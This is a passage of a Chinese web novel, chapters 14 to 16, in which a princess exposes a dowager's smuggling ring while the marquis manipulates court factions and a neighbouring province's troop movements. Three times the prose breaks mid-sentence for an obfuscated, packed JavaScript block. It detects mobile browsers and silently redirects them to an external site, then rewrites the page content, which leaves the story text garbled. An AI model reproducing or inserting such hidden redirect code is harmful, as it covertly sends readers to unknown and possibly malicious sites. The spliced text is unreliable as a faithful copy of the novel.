储况这才道,“臣近日听到属下汇报,民间有一种说法流传甚广…说魏军这些日子沿路盘查、搜捡驿馆码头等地,只因永固公主丢了一个酒杯,可这般兴师动众,耽误了不知多少贩夫走卒、往来商贾的营生,民间议论颇多。因此几位家臣方才恳请臣来劝谏殿下,追查之事,是否能稍缓一二,以免动摇民心。” 卫瀛略一眯眼,这传言明显避重就轻,把御赐宝物降格为了一个普通的酒杯,背后绝对有人刻意引导,除了齐氏还能有谁?! 齐氏真是好手段,竟想到操纵民意来给魏侯施压,阻碍她的追查! 14. 第 14 章 卫瀛鼻腔哼出一声冷笑,“动摇民心?魏侯,你也这般认为吗?” 储况昳丽脸孔上尽是为难,轻叹一声:“臣岂敢作此想,臣已经严词驳斥过那几位属下,搜查之事,势必一查到底。” 而后长眉微蹙,“奈何众口铄金,积毁销骨。臣实在是忧心殿下清誉,才不得不前来禀明。” 卫瀛眉梢微扬,“那魏侯肯定是想好了对策,才来找本宫的吧?” 储况唇边浮起一抹浅淡弧度,“以况愚见,不如给那些配合调查的百姓,按市价支付一日的工钱,以平复民心,只是……” “只是,这笔钱虽不多,但需得本宫亲自掏,才显得有诚意,对吗?”卫瀛道。 储况眼帘轻垂,但笑不语。 “可以!”卫瀛顿了顿,又道,“本宫不仅要支付这笔钱,还要另拨一笔,在魏州各大城郭城门外,连续一个月开棚施粥,凡是往来穷苦百姓,每日皆可来领一碗粥。” 随即冷哼一声,“本宫倒要看看,谁还敢败坏我永固公主的名声!” 储况面色柔和的望着她,好一招顺势加码、反客为主!深宫内廷里出来的人物,果然各个都练就了一副好手段。 两人正说话间,侍女已带着崔朔来到亭外。 崔朔望见亭中两人,于阶前停步。 本欲垂眸,视线却不由自主的飘向美人靠,那一抹烟粉色裙摆仿佛磁石,吸引住他全部目光。 “看来殿下还有其他事要忙……”储况凤眸一转,瞄了亭外一眼,“臣就不打扰了。” 起身要走时,却脚下一顿,略转身,抬手抚上卫瀛鬓边一只蝶恋花的步摇。 他甫一靠近,卫瀛只觉一阵清冷檀香涌动,下一瞬那张昳丽脸孔已近在咫尺,眸光如清波潋滟,正含笑望着她,“殿下,步摇略有些歪了,臣帮您理好。” 储况眉眼比寻常人深邃些,长眉舒展,眼睫浓卷,本来精致太过,有损淡泊高士风姿,好在他平素神态总是如深潭般幽静,才压住了这抹妖冶。 此刻倏然一笑,竟如冰雪乍裂,刹那间春色满人间。 卫瀛一怔,忘了言语,储况却已收手出了亭子,朝崔朔一颔首,“崔统领,辛苦了。” 崔朔只瞧了他一下,便垂下眼,没什么表情,唯有下颌线条略显紧绷。 储况笑意不减,沿着花石小径离开,路上微微挪步,绕过了石径边的一株兰草。 卫瀛望着那抹天青背影,方才储况的亲近举动令她有些捉摸不透。 静默片刻,转头见亭外的崔朔迟迟不动,她便道,“崔统领,快请进来。” 崔朔这才进了亭中,恭敬的立在一侧。 “本宫有件重要的事需要崔统领去办。”卫瀛道,“你从京畿禁军出身的那些亲卫里,挑选一批可靠的人,乔装打扮好,暗中去盯着襄平城里永晟昌和永泰当铺这两处,往来什么人、什么货物,但凡有销赃、走私嫌疑的证据到手,统统来报!” 末了又叮嘱一句,“动作一定要快!” 夜长梦多,她必须尽快拿到齐氏走私销赃的铁证,否则还不知对方有什么花招要耍。 崔朔领命,卫瀛让他退下了。 他走出亭子,驻足回望一眼,八角亭红柱绿廊之间,卫瀛凭栏独坐,一把蝶恋花步摇斜插鬓边,蝶翼轻颤,海棠鲜妍…… 另一边,储况离开沐云馆,并未回流觞榭,而是屏退随从,独自登上了侯府最高的一处楼阁。 襄平城万家灯火在他脚下铺开,而他耳中,方才短暂平息的呓语,再度如潮水般涌来,切切察察,时而尖锐,时而低沉,辨不清词句。 他阖上眼,指腹下意识地摩挲着那日被箭簇割破之处,伤口已经结痂,微微隆起,如一条毒虫盘踞在指腹上。 那年随父出征,遇到北国埋伏,他孤身一人重伤突围,冒着风雪奔袭百里流落荒野,险些沦为狼群的一顿饱餐,巧遇随景元帝御驾西巡的永固公主。 是她,骑马踏破夜色而来,挥舞着火把驱散了正啃食他血肉的狼,又掏出匕首猛地一掷,正中头狼的眼睛,逼退了围攻的狼群,将他从死亡边缘拉了回来。 救命之恩,世间恩情最重者,莫过于此了。 她却至今一字不提。是久居高位者,不屑于挟恩图报?还是当做了一步闲棋,此刻不露,只待日后发威? 如今,她不仅是恩人,还成了他梦寐以求的解药,眼下更是一把趁手的刀。 很好,这笔恩情债、这把宝刀、这味良药,他要牢牢攥在掌心…… 夏日溽热,襄平已到了暑气最盛的时节,唯有敬晖堂,太湖石嶙峋,竹林环绕,仍是一副清幽之态。 郑傅母端着消暑茶饮进了内室,齐氏正在见一位武官打扮的家臣,郑傅母将茶放在了齐氏手边,躬身退至她身后。 “太夫人,公主殿下近来不光给那些配合盘查的人支付误工钱,还在各地施粥给穷苦人,”那武官叹了口气,“末将之前派人散布的那些消息,现在已经没人肯相信了,百姓们都说魏州来了个菩萨公主呢。” 齐氏唇角下垂,一侧眉梢却高高挑起,“好一个‘菩萨公主’,哼。” 郑傅母见状,不由低声伏在齐氏耳畔,劝道,“太夫人,既然这个公主这般难缠,依奴婢愚见,不如…就把那个金盏找出来,悄悄送回去吧。” 齐氏目光箭矢般钉到她面上,气得浑身一颤,“蠢货!事到如今,还不明白?这位殿下,图的才不是什么金盏银盏,她这是要把老身在魏州苦心经营几十年的势力,统统连根拔起!” 郑氏跟随齐氏大半辈子,鲜少见到齐氏这般动怒,不由吓得面色发白,跪地不起,“奴,奴婢愚笨!想不到一个小公主,竟有这么大的图谋?!可她和您无冤无仇,为何要赶尽杀绝?” 齐氏喉间泄出一声冷哼,切齿道:“她来者不善,当初就不该允许那个逆子把她娶到魏州!” 郑傅母泪涌了出来,“若是六娘子嫁来该多好!可怜她年纪轻轻,来时路上竟被贼寇劫杀了……” 齐氏眼圈微红,可怜的哪里是什么齐六娘,分明是她的亲儿子!若是她的嫡子储冽不死,哪里轮到储况那个外室生的贱种! “退下吧。”齐氏见郑傅母哭得不成体统,命人将她搀了下去。 齐氏抖着手,摸过茶盏喝了一口,稍微平复了下,才对武官说道,“李都尉辛苦了…只是恐怕还得劳烦你,再跑一趟。” 都尉李晃拱手,“为太夫人效力,谈何辛苦,您要末将去哪里?” 齐氏眸子里有冷光闪过,“祁州治所,瀚阳城!” 李晃神色一凛,不敢接话,只见齐氏笑得阴毒冷酷,“是时候,去联络下老朋友了。” 这日午后,一匹快马自襄平城西门出去,带着一封密信,直奔通往祁州的官道…… 数日后一个晨间,祁州治所,瀚阳城。 祁侯府邸议政堂。 祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070830|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侯时恪远端坐上首,垂眸听着家臣禀报政务。 眼看议政将要结束时,一名武将出列,施礼道,“主公,末将以为,眼下有一个壮大祁州的大好机会。” “哦?”祁侯时恪远一笑,“陈将军有何良策?快快请讲。” 陈将军笑道,“突袭魏州,吞下边界那几座城池!” 时恪远敛目捋须,不做反应。 陈将军便慷慨陈词起来: “魏侯袭爵时日尚短,魏州家臣中轻视这位新主的,大有人在,这是其一。其二嘛,哼,人人都知道娶妻娶贤,那魏侯却贪图美色,非要娶那位跋扈至极的永固公主做夫人。末将听闻,公主近来只因丢了个酒杯,就把魏州翻了个底朝天,惹得民众怨声载道。一言蔽之,眼下的魏州,家臣心思各异,又有祸水作乱,岂不是下手的大好时机?” 满堂家臣窸窣低语,一位文官才要出列反驳,却被祁州相邦一个眼风制止了。 片刻后,时恪远露出沉思之色,略点点头,“此事需得再多做些考量,容本侯想想。” 陈将军见好就收,不再多言。 议政结束,祁州家臣三三两两退去,唯有相邦留了下来。 空荡荡的议政堂里,时恪远仍坐着,阖目沉思。 相邦慢慢踱步到了他身前,“主公,咱们这位陈将军,呵呵,和妻族真是一条心呐!” 陈将军的发妻,乃是魏州太夫人齐氏的远房族妹。 只是这件事,知道的人并不多。 时恪远缓缓睁开眼,“…他和齐氏做了十来年走私军资的生意,老夫念在他陈家三代为我祁州出生入死,从来都装作不知道,本侯对他…可谓仁至义尽。” “这肯定是齐氏那妇人的昏招。”相邦笑道,“臣听说,那位公主在魏侯府邸里丢了天子亲赐的宝盏,此事齐氏八成脱不了干系。她怕那位公主继续追查,把她和祁州走私的事查出来,才出此下策,为的是转移魏州注意力,好让追查不了了之。” 时恪远面上闪过一丝鄙夷,“齐氏这婆娘,为了一己私利,竟弃魏州于不顾,哼,她就不怕老夫真的一举吞了整个魏州么!” 相邦沉吟片刻,道,“老魏侯和嫡子战死后,齐氏把持魏州军政大权数年,实在拖不下去了,才扶植了一个上不得台面的外室子袭爵。如此看来,齐氏绝非等闲之辈,她定然看出以祁州眼下的力量,并不足以吞掉整个魏州,才敢出此下策,以几座边境小城做诱饵,引诱我们去替她解燃眉之急。” 随即低叹一声,“确乎如她所想,眼下的咱们还不到和魏州正面对抗的时候,前些日子议政堂上也商议过,汉州和江平才是目前最好的选择,祁州现在应该做的,是吞下周边这几个弱小州郡,壮大自己,至于魏州…来日方长。” 时恪远忽的抬眼一笑,狭长的眸子亮亮的,如门缝里透出两点烛光,“既然如此,那‘出兵’一次魏州,也未尝不可啊!” 相邦听后起先面露不解,而后眼底精光一闪,也笑出来,“主公英明,此计甚妙啊!哈哈!” 魏州襄平城。 侯府沐云馆。 崔朔行色匆匆,进了垂花门,拦住一个小婢女让她去通报,婢女却说,“殿下这会儿正在午睡呢。” 玉扇听得外面动静,出来一瞧,见到崔朔虽仍是那副冷峻眉目,眉宇间却有一丝焦灼,便知是有要紧事了。 “崔统领先去花厅坐坐,奴婢这就去通报!”玉扇道。 15. 第 15 章 沐云馆花厅。 卫瀛一个眼色,周围婢女便撩开珠帘垂首轻步退下。 一阵轻响后,珠串复归佁然不动。 崔朔立在卫瀛面前,施礼道,“末将已查明,那‘永晟昌’、‘永泰当铺’背后的东家,都是魏州富商——孟幼林,‘永晟昌’明面上是正经生意,但末将派手下潜入后,却发现他们私藏伪造的州府印章。” “至于‘永泰当铺’,和‘永晟昌’生意往来并不频繁。” “和‘永晟昌’联系最紧密的,是魏州一家叫做‘顺永和’的车马行,‘永晟昌’和‘顺永和’之间货物往来甚密。” 说着,他将几份单据呈上。 卫瀛接过一瞧,都是‘顺永和’的车马行的货运单据,清晰的写明一批货物从周延口中那家‘永晟昌’商号运出,收货方是祁州一家商号,单据上主家的印信都是‘孟幼林’这个名字。 “殿下,”崔朔道,“末将已经查明,这家祁州商号,是望族陈氏所有,陈家如今的家主是祁州一员猛将。 祁州…… “那这个孟幼林,”卫瀛指尖一点,“什么来头?” “他虽是富甲一方的巨贾,但行事十分低调,末将多番调查后,”崔朔顿了顿,“发现他的父亲,是太夫人母族——齐家的家老,孟冉。” 哈!背后果然是齐氏。 卫瀛眉心微拢,“可这些货物看起来也没什么特别,都是油毡毛料什么的,只是…” 她指着落款日期,“怎么才三五天就要进一批?尤其是这油毡,这么多,卖给谁?” 崔朔颔首,“这也是末将认为疑点最大的地方,永晟昌油毡生意走货量巨大,恐怕供应半个大启都足够了,魏州不可能消化掉这么多油毡……” “所以,”卫瀛眼眸一抬,“这些根本不是油毡!挂羊头卖狗肉罢了,这些货品根本见不得光……” “……那很可能会牵扯到私贩官营之物。”崔朔沉思道。 “不错!”卫瀛道,“左不过是盐铁一类的东西。” 她捏着那几分凭证,起身慢慢逡巡,思绪如电,一张走私贩运的网络在她眼前徐徐铺开。 “永晟昌分号遍布魏州,它肯定是这张网的中心,”卫瀛轻声喃喃道,“在这里伪造合法凭证,将赃物、走私货物统统洗白,再按类分销……” 崔朔视线无意识的追着眼前曳地的裙摆,思绪随着卫瀛的话流转起来,“那么,永泰当铺分流走的,只是一小部分贵重的或不易运输的赃物,殿下的金盏,大概就流入了这里。” 眼眸倏地抬起,目光锐利,“末将这就派人去抄捡!” “不,金盏有什么要紧。私贩盐铁可是杀头大罪,更何况卖到祁州,资敌叛州,罪加一等!”卫瀛利落站定,唇角勾起一道冷酷的弧度,“去顺永和!那些大批量的盐铁肯定交给了这家车马行,在这里调度运输、临时仓储……可查到他家来往货物有何规律?” 崔朔:“大概每旬最后一天,会来一大批货物。” 每旬最后一天…岂不就是明日! 卫瀛展颜一笑,眼眸亮如寒星,“好!明日一早,点上四百亲卫,随本宫去收网!” 午后晴阳透过牡丹纹的窗棂,投在她面上,花影交错,盖下了笑意里的几分凌厉,只余下夺人心魄的浓艳,张扬炫目。 崔朔定定的望着这道身影,眸光微闪,似春水微皱,沉了沉,才垂下眼帘,“末将领命。” 翌日一早,襄平城一处闹市,商铺鳞次栉比,小贩见缝插针的在商铺间隙处搭棚摆摊,吆喝声叫卖声不绝于耳,往来人流熙熙攘攘。 有一处最是热闹,宽大的门楣上挂着黑漆匾额,上书‘顺永和’三个大字。 数十辆马车停在门前,挑夫将数不清的货箱从车上卸下,一个接着一个往门内运去,宛如长龙一般。 突然,街上骚动起来,马蹄阵阵,黑压压的铁甲逼近顺永和,为首的一匹高头大马上,身披轻甲的崔朔抬臂一挥,亲卫士卒们呼啦啦的将整个大院围了起来,另有一队士卒冲入大门内,将店内掌柜、伙计等一众人等悉数圈了起来,掌柜上前一步,“各位军爷,我们顺永和在魏州百年的招牌,分号遍布各地,东家…也是颇有头脸的人物,这里是不是有什么误会?” 回应他的,只有铿然出鞘的刀锋,寒光凛冽。 掌柜的立即哑了声。 崔朔翻身下马,几步行至一顶鎏金缀八宝的马车前,立在车旁,“殿下,一切已经妥当。” 侍女撩起车帘,扶着卫瀛下来。 她昂首站定,视线扫过门前那些运货马车,瞧见车轮处沾染的一些暗红黏土时不由眉心微蹙,转瞬收回视线,抬步进了门,越过亲卫,踱步到了跪地的掌柜的面前。 掌柜的见来的是一位贵气逼人的年轻女子,样貌仪态风华绝代,举手投足间的威仪绝非寻常官宦夫人可比,便知这位肯定是刚嫁入魏州不久的永固公主,忙扯出一张笑脸,连连叩首道,“殿下金安!不知殿下屈尊驾临蔽店,草民有失远迎,该死该死!” 跪直身子后,也许是实在不安,他放在身前的两手无意识的轻轻揉搓着。 卫瀛细细的打量对方,窄长脸、吊梢眼,透着股奸诈刻薄,再一瞧那手,指尖带着打算盘写字留下的茧,只是不知为何,指缝里也有些微微发红,阳光射来,略微闪着一点光。 她觉得这抹淡红似乎有些不寻常…… “呃…殿下,草民这都是正经生意,顺永和在魏州百年耕耘,挣下这份基业实属不易……”他抬眼偷瞄了眼店外。 店门外长街上,围观的百姓越聚越多,无数探究的视线都汇聚在此处,议论声嗡嗡不休,有如鼎沸。 掌柜的收回视线,抬高声音道,“殿下或许有所不知,按魏州律法,即便要搜查,唔,也得拿出州府的文书,列出顺永和到底犯了什么案,呃…殿下您看…” 卫瀛心道果然不是省油的灯,这话分明是说给门外百姓们听的,想害她落一个蔑视魏律、欺压民商的恶名。 视线钉在掌柜的身上,卫瀛思绪飞快一转,电光火石间,门外马车车轮的暗红泥土、指缝间微微闪动的淡红色都被串联起来,一声冷笑,朗声道,“掌柜的生意做的真大啊,连襄平城外朱砂矿的‘红土’都挑拣好运到库房了?” 掌柜的瞬时愣住,面色白了下去。 卫瀛曾在魏州舆图上见过几处标识出来的朱砂矿,恰好有一处就在襄平城外,略施小计一诈,再看掌柜的神态,便知猜中了。 “魏州律法,朱砂乃官营之物,与盐铁同例,私采私贩是杀头的罪过!”她娥眉一竖,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070831|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还问犯了什么案?哼,崔统领,给本宫搜!” 亲卫砸开库房大门,刀尖挑开数不清的货箱封盖,一一翻查起来。 卫瀛在上首主位坐下,理好袖片。 约莫两刻钟后,货箱翻查过半,士卒们都露出犹疑神色,互相瞧瞧,只得继续闷头翻动,但结果显而易见,货箱里满满的都是布匹、毛料、油毡、瓷器等各色普通货物,盐铁、朱砂,统统不见踪影。 接连几个卒长过来,向崔朔汇报结果,都是默不作声的摇摇头。 掌柜的冷眼瞧着,轻轻呼了一口气,再度开口,已不复方才的慌乱,“殿下,顺永和真的没有私贩违禁货品啊,更不敢私采私贩朱砂,殿下明察。” 卫瀛没有理会,瞧向崔朔,给了他一个眼色。 崔朔领会她意图,亲自过去查检了几个货箱后,立在一个装满毛料的货箱前,拇指按在腰侧刀柄上轻轻摩挲,凝神思索半晌。 忽的他单手去抬箱子一角,眼神微变,松手后,转而用刀柄轻轻敲击箱子各处。 掌柜的见此情景,面色立即转青,汗珠连串的从额间滚落,却仍是不错眼珠的盯着。 崔朔反复敲击几次后,突然抽刀将整个箱子一劈为二,箱底截面处赫然露出了十寸有余的夹层,黑色石块骨碌碌滚了一地。 崔朔拾起一块,用汗巾垫好,走过来呈给卫瀛。 那乌黑的石块在阳光下微微发闪,看得卫瀛笑了出来,“掌柜的,不是没有私贩吗?嗯?哈哈,把箱子都给本宫劈了!” 士卒们将货箱全部劈开,各个都有这样的夹层,里面查出来藏匿的铁矿、盐、朱砂,汇总一处过称清点后,竟有数百斤! 而这仅仅是一批货走私的分量。 掌柜的早已面如死灰,佝偻着身子瘫软在地。 卫瀛一声令下,亲卫士卒便将掌柜、伙计和挑夫等全部投入监牢,顺永和的货箱、账目和各类凭证统统查缴。 卫瀛把账目、凭证和伪造文书统统交给了周延,命他查明全部的走私路线、货品数量和银钱流水。此番缉拿案犯百余人,审问的差事就交给了方鸿绪。崔朔被她派去继续抄捡永晟昌和永泰当铺,很快就在当铺的一处密库里缴获了卫瀛的宝石金盏。 几日后,流觞榭。 风过竹海,如涛声阵阵。 储况玉冠素袍,于空庭窗前一人独弈,指尖拈起一枚黑玉棋子,轻轻落在棋秤一隅,将吃掉的白子拾起。 门外忽听脚步杂沓,周延不经通报便推门而入。 白子落入檀木棋盒,叮的一声轻响。 周延快步来到窗前,面露惊惶,“主公,大事不好了!” 储况目光仍是凝在棋局上,从棋盒拈起一枚白子,不发一语。 周延眼睛微瞪,“臣这几日翻查公主缴获的账目凭证,发现太夫人的线路里,有一条走货量虽不大,但走货方式有一小段和咱们重叠了!” 执白子的手悬停在半空。 “那段路是借漕运的沧江段,然后穿过白牛岭,只不过出了山岭,齐氏的人马往东转入林谷,咱们继续往北而已。”周延喘了口气,继续道,“想来太夫人是察觉到这条路线上走货颇多,她混入我们的线想给自己打掩护。但是眼下照公主这样查下去,咱们的线很快就会跟着一起暴露!” 16. 第 16 章 储况从容的将棋秤上的黑白子一一拾起,收入棋盒,“这条路线不能留了,立即清理我们所有的痕迹。至于太夫人……” 他略一沉吟,唇角微微扯起,似笑非笑,“把我们手里攥着的那些太夫人的‘暗账’,找个机会,装作‘意外’查获,交给公主。” 周延面色一亮。 又听储况道,“听说审问的事都交给方督曹了,既然我们掌握太夫人那张网的全貌,你就应该去帮帮自家兄长,此案犯人众多,该从哪里突破,你得‘提点’他一二,免得耗时太久,夜长梦多。” 周延长长的呼了口气,整个人彻底松弛下来,“主公您这么一安排,臣就踏实了。” 一插手,似乎想起了什么有趣的事,哼哧一声笑了出来,“说起来,太夫人如今是热锅上的蚂蚁,方才还派人来要臣去见她,可怜她到现在还把臣当心腹呢,哈哈!” 储况唇角勾起些许弧度,语气意味深长,“去吧,太夫人交的差事,自然得‘尽力’去办。” 周延默契颔首,顿了顿,面上狡黠褪去,终是露出疑惑之色,“主公,臣不懂,咱们那么早就掌握了太夫人的罪证,您为何迟迟不动手,偏要等公主来了,布个局让她来做?” 储况略侧过脸,望向窗外碧色的竹海,高挺的鼻梁将光影分隔,脸孔半明半暗,只听他语气怅然,“我本是外室子,身份低微,嫡母却扶植我登上了魏侯之位……” 周延见状,自以为理解主公的境遇与难处。齐氏中饱私囊、叛州资敌,其罪实难赦免,但她既是嫡母,又有恩于主公,不忍亲自动手,也是人之常情…… 周延低叹一声,转身告退。 吱呀一声,门扉合上,脚步声远去,室内重归寂静。 储况自竹海收回视线,回过脸来,却不见半点惆怅之色,拈起枚黑子在指尖把玩片刻,便轻轻置于棋秤中心,黑白双方摆兵布阵,开始一局新的厮杀。 他眉眼微微一弯,眸底却是一片冰冷,喃喃道:“亲自动手?逼杀嫡母的恶名,一旦背上便再难洗脱,日后如何服众……” 至于那位殿下……一番调查下来,她步步精准,招招凌厉。 这把‘刀’虽然趁手,可也太过锋利了些。 储况一挥手,房梁上一个身影如落叶般滑落至他身侧,默然跪地。 “‘那边’,再盯紧一点,她的一举一动,都不要漏掉。”储况执子吩咐道。 仲夏的魏州,一连数日溽湿至极,铅色的云压着地平线,不见日光。终于,血色闪电刺破长空,惊雷滚滚,暴雨倾盆砸下,打落了侯府满池的荷花。 议政堂。 幽深的藻井压在粗大的楠木立柱上,家臣们神态整肃,分列立在堂中。 赵玄璋正站在一幅挂起的舆图前,禀报着魏、祁二州边界之地的军情:“主公,祁军正在往两州边界的夔城移动,规模达万人,配有骑兵和攻城器械,不出五日,便可跨过两州界河,兵临城下!” 都尉李晃出列,“主公,祁州要反,这是要吞掉我魏州啊!不可坐以待毙!” 武将队列里响起附和声。 田监杜贤也出列道,“主公,目前魏州仓廪尚可,但南边州郡灾荒严重,使得各州粮价都有上浮,今年秋收如何,还没有定论,臣以为,单从粮草来说,若战,速速出兵为上策,拖得太久,对魏州大不利!” 又是几声附和。 储况不语,只静静的瞧着他们。 相邦贺衍之目光扫过李晃、杜贤及出声应和的那些家臣,唇角微微一扯,捋须开口道,“祁州此番出兵,天下大乱已现端倪,日后的战争,争的不是一城一地,而是称霸天下!越早加入战局,越难抽身,不可冒进……” 周延神色凝重,也出列道,“主公,臣斗胆进言,以魏州如今的税赋实力,根本不足以支撑争霸之战!更何况近年府库本就吃紧,一切应当从长计议,不可争一时之快。” 另一侧,户监任守正露出一抹不屑之色,“从长计议?祁军都打到家门口了!再说,魏州地贫人寡,又不能罔顾民生加重税赋,欸!” 杜贤趁机又道,“正因如此,魏州才应该速战速决!” 议政堂里议论声四起,主战派声音最响,观点谨慎者也颇多。 储况正襟危坐,衣摆佁然不动,面上没什么表情,沉静的视线扫过下面的家臣,长睫低垂,投下一片暗影。 耳畔,涌起一团湿冷气息,‘瞧瞧,这群齐氏的爪牙!’ 气息又近了些,黏腻感钻进耳廓,‘齐氏那婆娘,直接杀了又如何?她为了一己之利,弃魏州安危于不顾!’ ‘哼,你这贱东西,偏要装忠孝两全的正人君子,不愧是从老畜生那里得来的一身的脏血烂肉,一样的虚伪、一样的阴毒!’ ‘真教人恶心!那把大火,怎么就没烧死你呢?’ 外界的一切似乎暂时被隔开,储况只觉得自己仿佛置身于一汪漆黑的水底,那些家臣的争执似乎是从水面上传来,沉闷而模糊。 他呼吸渐渐变重,合上眼,袖底的手翻出玄铁片,紧紧攥住,尖锐铁片刺破掌心,血顺着铁片蜿蜒,在袖底晕染开几朵红梅。 周围的声音重新清晰起来,他仿佛从水底渐渐上浮,终于将口鼻耳露出了水面。 调整了下呼吸,他睁开眼,将目光凝在舆图上,片刻后起身走到舆图前。 却听议政堂大门外响起一道略显衰老的女声,“此时不战,更待何时?!” 侍从推开门,傅母、婢女簇拥着齐氏,大步跨过门槛,走至议政堂中央站定。 大启严禁女子干政,天下各州规矩趋同,但齐氏曾以太夫人之尊统揽魏州大权数年,出入议政之地乃是常态。 齐氏目光威严,环视四周,四下瞬时一片岑寂。 她视线最后落在储况身上,储况朝她施礼后,两人目光交汇。 齐氏略眯眼,口气冷硬如铁,“魏侯,老身把魏州交给你,是要你好好守住祖宗的基业,如今强敌压境,还有什么可犹豫的?” 储况仍是一副恭敬神色,“母亲,太祖皇帝分封九州三郡,国祚三百年,如今大启卫室式微,早已无力钳制各州诸侯,但仍不曾有人起兵作乱。” 略笑笑,“这自然不是因为顾忌京畿那位‘天下共主’,而是所有人都知道,不战则已,一战就势必斗到底,不死不休。魏州实力虽逊色,但自保的能力还是有的,硬碰硬,祁侯也得自损三百,争霸之路,势必先易后难,断没有颠倒过来的道理。” 他回身抬臂,指尖点在舆图祁、魏两州的边界线上,“所以,祁侯大摇大摆的出兵,明面是要强攻魏州,实际上……” 指尖绕了个圈,重重的戳在祁州另一侧接壤的汉州和江平郡上,“他是声东击西,真正的目标,是现在饱受洪涝之苦的汉州和江平!” 贺衍之缓缓点头,抚须一笑。 周延、赵玄璋等一众家臣恍然大悟,“主公所言极是!”“确乎如此!” 可部分主战将领和家臣仍有犹豫之色,一人上前道,“主公言之有理,可不怕一万,就怕万一啊!” 李晃悄然瞧了眼齐氏的方向,附和道,“主公,兵不厌诈,不可掉以轻心。” 储况侧脸望了望李晃,道:“既然如此,那就只能加强守备,但眼下魏州各地可抽调的兵力有限,夔城守军多年驻防,阵前换将实乃兵家大忌,不如由李副将带领两千人马,协助守城,一切行动,听命于夔城守将。” 李晃身形一滞,不派上将军赵玄璋,而是派他?再说两千人马,远远少于夔城守军,况且一切都要听命于守将,根本没有自主权力,这不是要他协防,而是要把他调离襄平! 但,事已至此,他只得硬着头皮躬身领命,抬眸一觑,却对上储况视线,那双平日里让人如沐春风的凤眸,此刻却深邃似漆黑的海,仿佛要把人吞噬。 李晃心神一震,难不成主公知道祁州出兵, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080255|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是太夫人背后推波助澜?! 冷汗倏地淌了一背,他忙错开视线,躬身退到了后面,神态恭谨得几乎有些卑微。 “胡闹!”齐氏怒色难掩,面颊抽搐了下,“两千人马,如何协防?祁州兵强马壮,一万大军,足以将夔城夷为平地,你父兄都战死沙场,想不到况儿你竟这般畏缩!哼,依老身看,该派大将出征,彻底击退祁军,以绝后患!” 见齐氏摆出嫡母的威风压人,储况目光平和的望着她,没有言语,只是将掌心的铁片又往肉里压了压,才将视线滑向贺衍之。 贺衍之一笑,缓缓踱步上前,一拱手,“太夫人,祁州强盛,魏州即便使出全力将其‘彻底击退’,可…然后呢?” 齐氏一顿,然后?祁州并没有一举吞下魏州的能力,何况妹夫陈将军也早就和她透过底:祁州只会攻占几个城池而已。 但,她没法开口。 贺衍之捻着长须,接着说道,“然后…魏州会变得虚弱,魏州会需要时间休养生息,但,争霸之火已经燎原,谁会给我们喘气的机会呢?” 冷笑出声,“哈,到了那时候,魏州就会变成群雄争相撕咬的一块肉,人人得以攻之!” 此言一出,家臣无人再有异议。 郑傅母扶着齐氏离开议政堂,迈出大门的时候,昔日威风凛凛、说一不二的魏州太夫人,却不留神被门槛稍稍绊了一下,亏得有郑傅母及时扶住,才堪堪站稳。 齐氏回首望去,她曾来过这里无数次,在这里受魏州家臣朝拜,听他们汇报军政要务,她熟悉这里的每一根立柱、每一块青砖。可此刻偌大的议政堂,是那么的幽深昏暗,黑黢黢的深处仿佛蛰伏着吃人的野兽,让她没来由的一阵心悸…… 家臣散去,储况自议政堂出来,亲随撑着伞,遮在他头顶上,雨点噼里啪啦打在伞面上,淅沥沥的水流自眼前伞边缘淌下,仿佛一个小小的牢笼,将人兜头罩住。 掌心传来密密匝匝的刺痛,仿佛毒虫啃咬,储况长眉略微拧起,“…好吵。” 亲随抬眼一瞧,只见储况面色阴郁得仿佛要滴出水来。 亲随忙低下头,没敢接话,心里却纳闷,四下只有雨声,而魏州夏日多雨,魏州人早已习惯,但主公看上去,却似乎不堪其扰? 行至东湖边,只见公主新修的院子已经打好了地基,几根楠木大柱也高高立起,四周堆满了切割好的石料,苫布下是小山一般的木材。 储况放慢速度看了一眼,脚下便一转,走上了去沐云馆的花/径。 沐云馆。 池塘边的亭子里,卫瀛正坐在美人靠上,侧身看着雨打荷花,远远瞧见储况往这边漫步而来。 不知是不是天色阴暗、水汽迷蒙的缘故,卫瀛瞧他那眉目间似乎有一抹郁色。 待储况走进亭子,卫瀛扬起一张笑脸,“魏侯冒雨来见本宫,有什么事么?”转头吩咐侍女去给储况端些驱寒的姜茶。 也许是一回生二回熟,储况这次很从容的就坐到了卫瀛身旁,这亭子的美人靠不算长,两人同座一处,难免挨得近了些。 卫瀛瞧了眼另外两侧的美人靠,都被雨水微微打湿了,也就没有多想。 储况落座后,默了默,才道:“有件大事,需得和殿下通报一声。” “哦,何事?” 